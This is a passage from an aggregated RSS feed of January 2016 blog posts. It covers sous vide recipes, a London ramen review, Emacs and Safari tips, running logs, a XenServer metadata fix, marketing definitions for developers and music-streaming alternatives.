I also tried one of Anova's suggestions for &lt;a href="http://anovaculinary.com/sous-vide-butternut-squash-and-apple-soup/"&gt;butternut and apple soup&lt;/a&gt;. &amp;nbsp;The plus: &amp;nbsp;easy peasy! &amp;nbsp;The minus: &amp;nbsp;It really lost out on flavor from the squash not being roasted. &amp;nbsp;This one I won't do again. &amp;nbsp;I rescued the soup for the most part by topping it with candied walnuts and fried sage, but the core soup lacked the depth of flavor that a good butternut squash can have. &amp;nbsp;Again - probably possible to pull some of it back by, e.g., broiling the cooked chunks or sauteeing them, but I didn't see any benefit from the sous vide on this one other than the very trivial clean-up.&lt;br /&gt;
&lt;br /&gt;
Can't let the sous vide be exclusively for the carnivores. :-) &amp;nbsp;Coming up in the next week or two: &amp;nbsp;Carrots, brussels sprouts (high bar - I'm a big fan of them just roasted), and something TBD.</description><author>Dave's Data</author><pubDate>Tue, 19 Jan 2016 07:59:59 GMT</pubDate><guid isPermaLink="true">https://da-data.blogspot.com/2016/01/vegan-sous-vide-recipes-1.html</guid></item><item><title>Ippudo London: yes, but…</title><link>https://xenodium.com/ippudo-london-yes-but</link><description>&lt;h2&gt;Yes&lt;/h2&gt;
&lt;p&gt;&lt;a href="http://www.ippudo.co.uk/find_us/"&gt;Central St. Giles&lt;/a&gt; location. Ordered a Kirin Ichiban beer and a Spicy Tonkotsu with a seasoned boiled egg. Awesome medium-spice broth, tasty egg and firm noodles. Got additional noodles for £1.50.&lt;/p&gt;
&lt;h2&gt;But…&lt;/h2&gt;
&lt;p&gt;The space feels soulless. Think generic, chain, Pizza Express…&lt;/p&gt;
&lt;h2&gt;Photos&lt;/h2&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/ippudo-london-yes-but/ipuddo_00.JPG" /&gt; &lt;img alt="" src="https://xenodium.github.io/images/ippudo-london-yes-but/ipuddo_01.JPG" /&gt; &lt;img alt="" src="https://xenodium.github.io/images/ippudo-london-yes-but/ipuddo_02.JPG" /&gt; &lt;img alt="" src="https://xenodium.github.io/images/ippudo-london-yes-but/ipuddo_03.JPG" /&gt; &lt;img alt="" src="https://xenodium.github.io/images/ippudo-london-yes-but/ipuddo_04.JPG" /&gt; &lt;img alt="" src="https://xenodium.github.io/images/ippudo-london-yes-but/ipuddo_05.JPG" /&gt; &lt;img alt="" src="https://xenodium.github.io/images/ippudo-london-yes-but/ipuddo_06.JPG" /&gt; &lt;img alt="" src="https://xenodium.github.io/images/ippudo-london-yes-but/ipuddo_07.JPG" /&gt;&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 19 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/ippudo-london-yes-but</guid></item><item><title>Added Emacs zone-rainbow</title><link>https://xenodium.com/added-emacs-zone-rainbow</link><description>&lt;p&gt;&lt;a href="http://twitter.com/kawabata"&gt;kawabata's&lt;/a&gt; &lt;a href="https://github.com/kawabata/zone-rainbow"&gt;zone-rainbow&lt;/a&gt; popped up on melpa today. Added to zone-programs. Just because :)&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(use-package zone-rainbow :ensure t
  :after zone
  :config
  (setq zone-programs (vconcat [zone-rainbow] zone-programs)))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/added-emacs-zone-rainbow/zone-rainbow.gif" /&gt;&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 19 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/added-emacs-zone-rainbow</guid></item><item><title>Safari's Web Inspector keyboard shortcuts</title><link>https://xenodium.com/safaris-web-inspector-keyboard-shortcuts</link><description>&lt;p&gt;Via WebKit's blog, &lt;a href="https://webkit.org/blog/4038/web-inspector-keyboard-shortcuts/"&gt;Web Inspector Keyboard Shortcuts&lt;/a&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;⌃⌘Y or ⌘\ continue.&lt;/li&gt;
&lt;li&gt;F8 or ⇧⌘; step out.&lt;/li&gt;
&lt;li&gt;F7 or ⌘; step in.&lt;/li&gt;
&lt;li&gt;F6 or ⌘’ step over.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 19 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/safaris-web-inspector-keyboard-shortcuts</guid></item><item><title>Kapitza's Pendulum</title><link>https://www.hankruiger.com/posts/kapitzas-pendulum/</link><description>Stabilising a pendulum by shaking it vertically.</description><author>Han's blog</author><pubDate>Tue, 19 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.hankruiger.com/posts/kapitzas-pendulum/</guid></item><item><title>Janathon 2016 #18</title><link>https://rjp.is/blogging/posts/janathon-2016-18-2/</link><description>Recovery seems to be progressing - knocked out a brisk walk in decent cold without dying (average of 10:03 min/km is good going for me, even when fully fit.)
[Brisk as a monkey up a vicar&amp;rsquo;s noodle]</description><author>infrequent oscillations</author><pubDate>Tue, 19 Jan 2016 00:51:08 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/janathon-2016-18-2/</guid></item><item><title>Midpoint Football</title><link>https://rjp.is/blogging/posts/midpoint-football-2/</link><description>In which we try to predict football results.</description><author>infrequent oscillations</author><pubDate>Mon, 18 Jan 2016 19:04:47 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/midpoint-football-2/</guid></item><item><title>The Rape of Nanking: The Forgotten Holocaust of World War II</title><link>https://apurva-shukla.me/bookshelf/the-rape-of-nanking/</link><description>⭐ ⭐ ⭐ ⭐ ⭐ Reading the Rape of Nanking is heartbreaking, to say the least; it is depressing. A complete sense of the lack of power is wrought…</description><author>Apurva Shukla's RSS Feed</author><pubDate>Mon, 18 Jan 2016 15:48:53 GMT</pubDate><guid isPermaLink="true">https://apurva-shukla.me/bookshelf/the-rape-of-nanking/</guid></item><item><title>Next generation configuration mgmt</title><link>https://purpleidea.com/blog/2016/01/18/next-generation-configuration-mgmt/</link><description>&lt;p&gt;It&amp;rsquo;s no secret to the readers of this blog that I&amp;rsquo;ve been active in the configuration management space for some time. I owe most of my knowledge to what I&amp;rsquo;ve learned while working with &lt;a href="https://en.wikipedia.org/wiki/Puppet_%28software%29"&gt;Puppet&lt;/a&gt; and from other hackers working in and around various other communities.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://purpleidea.com/blog/2013/11/17/iteration-in-puppet"&gt;I&amp;rsquo;ve published&lt;/a&gt;, &lt;a href="https://purpleidea.com/blog/2013/02/20/automatic-hiera-lookups-in-puppet-3-x"&gt;a number&lt;/a&gt;, &lt;a href="https://purpleidea.com/blog/2012/11/07/preventing-duplicate-parameter-values-in-puppet-types"&gt;of articles&lt;/a&gt;, &lt;a href="https://purpleidea.com/blog/2013/05/14/overriding-attributes-of-collected-exported-resources"&gt;in an&lt;/a&gt;, &lt;a href="https://purpleidea.com/blog/2012/08/23/how-to-avoid-cluster-race-conditions-or-how-to-implement-a-distributed-lock-manager-in-puppet"&gt;attempt&lt;/a&gt;, &lt;a href="https://purpleidea.com/blog/2014/07/24/hybrid-management-of-freeipa-types-with-puppet"&gt;to push&lt;/a&gt;, &lt;a href="https://purpleidea.com/blog/2014/06/06/securely-managing-secrets-for-freeipa-with-puppet"&gt;the field&lt;/a&gt;, &lt;a href="https://purpleidea.com/blog/2014/06/04/hiera-data-in-modules-and-os-independent-puppet"&gt;forwards&lt;/a&gt;, &lt;a href="https://purpleidea.com/blog/2014/03/24/introducing-puppet-execagain"&gt;and to&lt;/a&gt;, &lt;a href="https://purpleidea.com/blog/2012/11/14/setting-timed-events-in-puppet"&gt;share the&lt;/a&gt;, &lt;a href="https://purpleidea.com/blog/2013/06/04/collecting-duplicate-resources-in-puppet"&gt;knowledge&lt;/a&gt;, &lt;a href="https://purpleidea.com/blog/2013/09/28/finite-state-machines-in-puppet"&gt;that I&amp;rsquo;ve&lt;/a&gt;, &lt;a href="https://purpleidea.com/blog/2012/11/20/recursion-in-puppet-for-no-particular-reason"&gt;learned&lt;/a&gt;, &lt;a href="https://purpleidea.com/blog/2013/11/27/advanced-recursion-and-memoization-in-puppet"&gt;with others&lt;/a&gt;. I&amp;rsquo;ve spent many nights thinking about these problems, but it is not without some chagrin that I realized that the current state-of-the-art in configuration management cannot easily (or elegantly) solve all the problems for which I wish to write solutions.&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Mon, 18 Jan 2016 02:52:10 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2016/01/18/next-generation-configuration-mgmt/</guid></item><item><title>Upcoming speaking</title><link>https://purpleidea.com/blog/2016/01/18/upcoming-speaking/</link><description>&lt;p&gt;I&amp;rsquo;ve got a few upcoming speaking engagements. If you&amp;rsquo;ll be attending one of these events, come see me or any of the other excellent speakers!&lt;/p&gt;
&lt;p&gt;Please remember to check the official schedules in case there are any changes!&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ll be speaking at the &lt;a href="https://wiki.centos.org/Events/Dojo/Brussels2016"&gt;Brussels CentOS Dojo&lt;/a&gt;:&lt;/p&gt;
&lt;h2&gt;&lt;a href="https://lists.centos.org/pipermail/centos-promo/2015-November/001572.html"&gt;&lt;strong&gt;&lt;span style="text-decoration: underline;"&gt;Automated Infrastructure Testing with Oh-My-Vagrant&lt;/span&gt;&lt;/strong&gt;&lt;/a&gt;
...and the CentOS CI&lt;/h2&gt;
&lt;em&gt;Time/date unconfirmed&lt;/em&gt;: I'll be showing some CI tricks, and showing you how the CentOS CI is the perfect CI for multi-machine test environments.
&lt;p&gt;~&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Mon, 18 Jan 2016 02:32:52 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2016/01/18/upcoming-speaking/</guid></item><item><title>Links - January 18th, 2016</title><link>https://faingezicht.com/links/2016/01/18/links/</link><description/><author>Avy Faingezicht</author><pubDate>Mon, 18 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/01/18/links/</guid></item><item><title>The only bad thing about ES7 Async/Await</title><link>https://thomashunter.name/posts/2016-01-18-the-only-bad-thing-about-es7-asyncawait</link><author>Thomas Hunter II</author><pubDate>Mon, 18 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2016-01-18-the-only-bad-thing-about-es7-asyncawait</guid></item><item><title>Fix XenServer SR with corrupt or invalid metadata</title><link>https://smcleod.net/2016/01/fix-xenserver-sr-with-corrupt-or-invalid-metadata/</link><description>&lt;p&gt;If a disk / VDI is orphaned or only partially deleted you&amp;rsquo;ll notice that under the SR it&amp;rsquo;s not assigned to any VM.&lt;/p&gt;
&lt;p&gt;This can cause issues that look like metadata corruption resulting in the inability to migrate VMs or edit storage.&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;root@xenserver-host ~&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="c1"&gt;# xe vdi-destroy uuid=6c2cd848-ac0e-441c-9cd6-9865fca7fe8b&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Error code: SR_BACKEND_FAILURE_181
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Error parameters: , Error in Metadata volume operation &lt;span class="k"&gt;for&lt;/span&gt; SR. &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;opterr&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;VDI delete operation failed &lt;span class="k"&gt;for&lt;/span&gt; parameters:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  /dev/VG_XenStorage-3ae1df17-06ee-7202-eb92-72c266134e16/MGT, 6c2cd848-ac0e-441c-9cd6-9865fca7fe8b.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  Error: Failed to write file with params &lt;span class="o"&gt;[&lt;/span&gt;3, 0, 512, 512&lt;span class="o"&gt;]&lt;/span&gt;. Error: 5&lt;span class="o"&gt;]&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="removing-stale-vdis"&gt;Removing stale VDIs&lt;/h2&gt;
&lt;p&gt;To fix this, you need to remove those VDIs from the SR after first deleting the logical volume:&lt;/p&gt;</description><author>smcleod.net</author><pubDate>Mon, 18 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://smcleod.net/2016/01/fix-xenserver-sr-with-corrupt-or-invalid-metadata/</guid></item><item><title>Marketing definitions for developers</title><link>/2016/01/17/Marketing-definitions-for-developers/</link><description>&lt;p&gt;Marketing often feels like a dirty-icky thing to many developers. Well until you feel like you have a great product, but no one using it then you have to get a crash course in all of that. And while I might cover some of the actual basics in the future, just knowing what marketing people actually mean when they’re talking can be a huge jump start. Here&amp;rsquo;s a guide that distills many of the acronyms and terms down to what they actually mean in reality.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SEO - Search engine optimization.&lt;/strong&gt; There&amp;rsquo;s two sides to this, one where you&amp;rsquo;re attempting to game the system known known as black hat. The other is simply creating good content.&lt;/p&gt;
&lt;p&gt;Tip: Now, unlike several years ago social sharing helps impact this.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SEM - Search engine marketing.&lt;/strong&gt; The short of this is adwords, but broadly it&amp;rsquo;s any search engine.&lt;/p&gt;
&lt;p&gt;Tip: Be wary here, you can spend a lot of money quickly. Properly managing it takes time and effort otherwise you&amp;rsquo;re wasting money.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Display ads&lt;/strong&gt; - Banner ads on websites. There&amp;rsquo;s a few common form factors in this world, so you&amp;rsquo;ll create a few then reuse them across lots of properties.&lt;/p&gt;
&lt;p&gt;Tip: Results may vary here, there are some hidden gems when advertising on various long tail sites.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Retargeting&lt;/strong&gt; - This is where you&amp;rsquo;re serving an ad (most commonly display) to someone that&amp;rsquo;s previously visited your site. The process happens due to you &amp;lsquo;pixeling&amp;rsquo; them, and a cookie being set so the ad server knows they&amp;rsquo;ve seen you.&lt;/p&gt;
&lt;p&gt;Tip: Generally good bang for the buck here, but you still need initial visitors to even retarget to.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Funnel&lt;/strong&gt; - The process of someone going from finding you to paying to paying more. Generally a process will look something like: Anonymous visitor by referral, sign ups, low money bucket, big money bucket.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Top of the funnel&lt;/strong&gt; - Hopefully clear from the previous one, top of the funnel would be the max of users you reach out to or get to your site, usually down to getting them to sign up.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Bottom of the funnel&lt;/strong&gt; - This is usually going from time you have a user to customer and then growing that customer via cross-selling and upselling.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Drip marketing&lt;/strong&gt; - This is the process of gradually sending emails/notifications to your customers to get them to engage and learn about the product. Think of it as a welcome email on day 1, an intro on day 3, and on day 5 a different email based on what they&amp;rsquo;ve done so far. Really good drip marketing will create a different email for the user based on what they have or haven&amp;rsquo;t done.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attribution (last/first/multi)&lt;/strong&gt; - Attribution relates to how you got the user or customer (via web referral). There&amp;rsquo;s a few different ways of looking at this, last touch is the last website they visited before signing up, first touch is the first referral they were sent from, and multi touch (often more complicated to put in place) attributes something to all referrals they&amp;rsquo;ve come from.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;AR - Analyst relations&lt;/strong&gt;. Analysts cover particular products or areas in an industry, write reports, and often consult with large enterprises when making buying decisions. Analyst relations or AR is the common term for interacting with them, you can &lt;a href="/2015/07/25/A-guide-to-analyst-relations-for-startups/"&gt;learn more here&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;PR - Public relations&lt;/strong&gt;. This is generally the press/media side. It often involves launches, press releases, pitching media etc. You can read more of a &lt;a href="/2015/07/21/An-intro-PR-guide-for-startups/"&gt;guide on it here&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Briefing&lt;/strong&gt; - This is normally with an analyst or press, and is typically a quick 30 minute call occasionally a demo of an upcoming launch.Usually&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Inquiry&lt;/strong&gt; - This refers more to the analyst side. Where a briefing is often more one sided for you to pitch/update them on what you’ve been doing, an inquiry is more a back and forth where you can ask what they’re seeing in the market and for input on direction.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Campaign&lt;/strong&gt; - A collection of activities that go on around a certain thing focused on specific keywords or theme. This can be as little as a search engine marketing campaign which is the most common, or much larger and coordinated with billboards, webinars, etc.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Lead Gen&lt;/strong&gt; - The sales funnel usually goes from just getting an email, to talking to them, to getting them to try a demo or run a POC, to eventually buying. Lead gen is the activity of just getting that initial contact so you can then further engage with them. In practice this can often involve giving something away, like a t-shirt in exchange for an email.&lt;/p&gt;
&lt;h3 id="conclusion"&gt;
&lt;div&gt;
Conclusion
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;While this doesn&amp;rsquo;t cover every marketing activity under the sun, hopefully it&amp;rsquo;s a good primer on things you may have heard but been confused by. If there&amp;rsquo;s important ones I&amp;rsquo;ve missed please feel free to let me know &lt;a href="http://www.twitter.com/craigkerstiens"&gt;@craigkerstiens&lt;/a&gt;&lt;/p&gt;</description><author>CRAIG KERSTIENS</author><pubDate>Sun, 17 Jan 2016 22:55:56 GMT</pubDate><guid isPermaLink="true">/2016/01/17/Marketing-definitions-for-developers/</guid></item><item><title>Janathon Halfway Update</title><link>https://rjp.is/blogging/posts/janathon-halfway-update-2/</link><description>19 activities: 6 runs; 13 walks All Time: 21:04:44 elapsed; 18:56:31 moving Speed: 6.4km/h avg. Distance: 118.88km total; 6.26km avg. Mile: 16:41 avg. Running Time: 6:39:47 elapsed; 6:12:02 moving Speed: 9.4km/h avg. Distance: 55.04km total; 9.17km avg. Mile: 9:37 avg. Walking Time: 14:24:57 elapsed; 12:44:29 moving Speed: 5.0km/h avg. Distance: 63.85km total; 4.96km avg. Mile: 19:57 avg.</description><author>infrequent oscillations</author><pubDate>Sun, 17 Jan 2016 19:01:12 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/janathon-halfway-update-2/</guid></item><item><title>Janathon 2016 #17</title><link>https://rjp.is/blogging/posts/janathon-2016-17-2/</link><description>Having to fetch a new sink waste trap from B&amp;amp;Q and a new gadget from the Co-op locker is a good way to force yourself out into the world. Knocked out 5 miles of mostly OK walking with the proper walking boots on (there was a mild threat of rain/sleet/snow necessitating waterproof footwear).
Hopefully another week of rest* should quell the back pain sufficiently that Cakeathon remains a sensible option.</description><author>infrequent oscillations</author><pubDate>Sun, 17 Jan 2016 18:39:48 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/janathon-2016-17-2/</guid></item><item><title>Compile Time Cassandra Injection in Play 2.4</title><link>https://manuel.kiessling.net/2016/01/17/compile-time-cassandra-injection-in-play-2-4/</link><description>About  Play 2.4 supports Compile Time Dependency Injection. This post describes how to inject your own Cassandra repository object into a controller at compile time, while also initializing and closing a Cassandra connection session during application startup and shutdown, respectively.  The code of the final application is available at https://github.com/manuelkiessling/play2-compiletime-cassandra-di. The goal  At the end of this post, we have created a small Play 2.4.6 Scala application with which will be able to serve the name of a product with a given id by reading information from a Cassandra database.</description><author>Home on The Log Book of Manuel Kießling</author><pubDate>Sun, 17 Jan 2016 17:13:00 GMT</pubDate><guid isPermaLink="true">https://manuel.kiessling.net/2016/01/17/compile-time-cassandra-injection-in-play-2-4/</guid></item><item><title>Static analysis build server for Android with Jenkins using Docker</title><link>https://www.umarniz.com/static-analysis-build-server-for-android-with-jenkins-using-docker/</link><description>We have recently been working with quite a few simultaneous android projects at Nerdiacs so I decided to setup Jenkins on one of our servers…</description><author>Umar Nizamani | RSS Feed</author><pubDate>Sun, 17 Jan 2016 10:22:13 GMT</pubDate><guid isPermaLink="true">https://www.umarniz.com/static-analysis-build-server-for-android-with-jenkins-using-docker/</guid></item><item><title>Janathon 2016 #16</title><link>https://rjp.is/blogging/posts/janathon-2016-16-2/</link><description>Bleurgh.
[Just over 2 miles to the shops]</description><author>infrequent oscillations</author><pubDate>Sun, 17 Jan 2016 01:32:32 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/janathon-2016-16-2/</guid></item><item><title>Adventures in Anonymity</title><link>https://www.anardil.net/2016/adventures-in-anonymity.html</link><description>&lt;p&gt;A comparison of various tools for annonymity on the web&lt;/p&gt;</description><author>Anardil</author><pubDate>Sat, 16 Jan 2016 10:00:00 GMT</pubDate><guid isPermaLink="true">https://www.anardil.net/2016/adventures-in-anonymity.html</guid></item><item><title>Hatchet Sheath</title><link>https://june.kim/hatchet-sheath/</link><author>june.kim</author><pubDate>Sat, 16 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/hatchet-sheath/</guid></item><item><title>Janathon 2016 #15</title><link>https://rjp.is/blogging/posts/janathon-2016-15-2/</link><description>The triple sledgehammer of illness, tiredness, and misery arrived in a conjunction of blather to the ankle of 2016, hobbling it.
Which means the Janathon is reduced to a slow trundle from Greenwich to home via the Sainsbury&amp;rsquo;s to fetch some kitchen roll and cake.</description><author>infrequent oscillations</author><pubDate>Fri, 15 Jan 2016 23:31:00 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/janathon-2016-15-2/</guid></item><item><title>The Lowest Heaven</title><link>https://apurva-shukla.me/bookshelf/the-lowest-heaven/</link><description>⭐ ⭐ ⭐ As the range of the stories extended from genre to genre it is hard to judge the book justly, or on face value. Each of these short…</description><author>Apurva Shukla's RSS Feed</author><pubDate>Fri, 15 Jan 2016 19:25:45 GMT</pubDate><guid isPermaLink="true">https://apurva-shukla.me/bookshelf/the-lowest-heaven/</guid></item><item><title>My Rdio Replacement(s)</title><link>https://huphtur.nl/my-rdio-replacements/</link><description>&lt;p&gt;Some of us must have done something bad last year, because Santa shut down &lt;a href="http://rdio.com/"&gt;Rdio&lt;/a&gt; right before Xmas. It was one of the better music services with a clean design and amazing comunity with whom I discovered and shared so many great tunes with.&lt;/p&gt;
&lt;p&gt;&lt;img alt="rdio goodbye banner image." src="https://huphtur.nl/images/rdio-goodbye.png" /&gt;&lt;/p&gt;
&lt;p&gt;After Rdio shut down a lot of people went with the obvious choices: &lt;a href="https://www.spotify.com/"&gt;Spotify&lt;/a&gt;, &lt;a href="http://www.apple.com/music/"&gt;Apple Music&lt;/a&gt;, &lt;a href="http://www.deezer.com/"&gt;Deezer&lt;/a&gt;, etc. I played around with them for a bit but non did it for me. So I decided to go with some other options.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: my listening habbit is probably a tad different than the average person. I &lt;a href="https://huphtur.nl/i-have-never/"&gt;don’t care&lt;/a&gt; much for Top 40 music and tend to focus on “electronic” music. I mostly listen to music via my notebook speakers or headphones.&lt;/p&gt;
&lt;h2&gt;Direct&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://bandcamp.com/"&gt;BandCamp&lt;/a&gt;. Pretty much every artist or label that I like has a page on this platform. You can often listen to full albums before they are even officially released. And their Weekly Show is absolutely killer!&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://soundcloud.com/"&gt;SoundCloud&lt;/a&gt;. If one of my favorite artist or labels is not on Bandcamp, they are most likely to be found on SoundCloud. Both platforms will notify you when new releases are out.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Podcasts&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://bleep.com/stream/podcasts"&gt;Bleep&lt;/a&gt;. Great independent online music store with a very diverse podcast.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.xlr8r.com/podcasts/"&gt;XLR8R&lt;/a&gt;. Used to be an actual magazine, now purely a web platform with artist interviews, reviews and of course a podcast.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://solidsteel.net/"&gt;Solid Steel&lt;/a&gt;. Started as a radio show in the late 80s! I remember getting copies of shows burned on CDs from friends.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ninjatune.net/ninjacast.xml"&gt;Ninja Tune&lt;/a&gt;. Record label that occasionaly puts out podcasts with artists interviews including a selection of new releases.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://itunes.apple.com/gb/podcast/boiler-room/id416373570"&gt;Boiler Room&lt;/a&gt;. Live music shows which sometimes get turned into podcasts.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.stonesthrow.com/podcast/"&gt;Stones Throw&lt;/a&gt;. Killer record label from LA.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.turntablelab.com/pages/turntable-lab-radio"&gt;Turntable Lab&lt;/a&gt;. A record store for DJs.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.gillespetersonworldwide.com/category/podcasts/"&gt;Gilles Peterson&lt;/a&gt;. This legendary radio DJ has some of the best guests on his show.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.lowendtheoryclub.com/podcast/"&gt;Low End Theory&lt;/a&gt;. A club night named after one of Tribe’s best albums gets my automatic podcast subscription!&lt;/li&gt;
&lt;li&gt;&lt;a href="http://phonicaradio.blogspot.com/"&gt;Phonica Records&lt;/a&gt;. Music shop out of London.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.residentadvisor.net/podcast.aspx"&gt;Resident Advisor&lt;/a&gt;. This amount of content that this site has to offer is overwhelming, so I just focus on their podcast.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Streams&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://dublab.com/"&gt;dublab&lt;/a&gt;. Mostly replays of past shows, but keep &lt;a href="https://twitter.com/dublab"&gt;their twitter account&lt;/a&gt; in check for live shows announcements.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://somafm.com/"&gt;SomaFM&lt;/a&gt;. The default for background tunes. The &lt;a href="http://somafm.com/cliqhop/"&gt;cliqhop idm&lt;/a&gt; station is my favorite.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.kcrw.com/music/shows/eclectic24"&gt;Eclectic 24&lt;/a&gt;. It’s pretty much KCRW’s &lt;a href="http://www.kcrw.com/music/shows/morning-becomes-eclectic"&gt;Morning Becomes Eclectic&lt;/a&gt; (sans Jason Bentley) and it’s really solid.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://redlightradio.net/"&gt;Red Light Radio&lt;/a&gt;. A Dutch station that broadcasts (in English) from a tiny studio in the famous Red Light District in Amsterdam. &lt;a href="https://huphtur.nl/wheres-the-fun-in-skateboarding/"&gt;Parra&lt;/a&gt; occasionaly has a show on it.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://dashradio.com/EVR"&gt;East Village Radio&lt;/a&gt;. My friend &lt;a href="https://www.facebook.com/arlie.carstens"&gt;Arlie&lt;/a&gt; told me about this NYC station before I even had Rdio. They dissapeared for a while but &lt;a href="http://www.wired.com/2015/04/internet-radio-soulless-outlaw-station-fix/"&gt;are back&lt;/a&gt; on some new independent radio platform called &lt;a href="http://dashradio.com/"&gt;Dash Radio&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Handy Utils&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://overcast.fm/"&gt;Overcast&lt;/a&gt;. The &lt;strong&gt;best&lt;/strong&gt; iOS podcast app. Key feature: listen to podcasts on your iPhone and continue listening where you left off on your desktop (and vice versa).&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.streamkeys.com/"&gt;Streamkeys&lt;/a&gt;. Excellent Chrome extension to use your keyboard to control music from a wide variety of music platforms.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/david-sabata/web-scrobbler"&gt;last.fm Scrobbler&lt;/a&gt;. Another Chrome extension that scrobbles tunes from a huge selection of platforms to &lt;a href="http://www.last.fm/"&gt;last.fm&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;I could go on and on, but what it comes down to is that, there’s just too much amazing &lt;strong&gt;free music&lt;/strong&gt; to lock myself in any paid subscription services.&lt;/p&gt;</description><author>huphtur</author><pubDate>Fri, 15 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://huphtur.nl/my-rdio-replacements/</guid></item><item><title>[Computing] Embedding of binary data into programs</title><link>https://www.devever.net/~hl/incbin</link><description>&lt;p&gt;Methods of embedding binary blobs of any nature into a program using native
toolchains.&lt;/p&gt;</description><author>devever.net/~hl</author><pubDate>Fri, 15 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.devever.net/~hl/incbin</guid></item><item><title>Janathon 2016 #14</title><link>https://rjp.is/blogging/posts/janathon-2016-14-2/</link><description>Today was the day everything hit in spades and laid me up in bed.
Apart from two slow and mildly painful walks, I&amp;rsquo;ve accomplished little except learning that MovieBob loves Ghostbusters and that Dedalus is definitely more fun with a nanoKONTROL2.
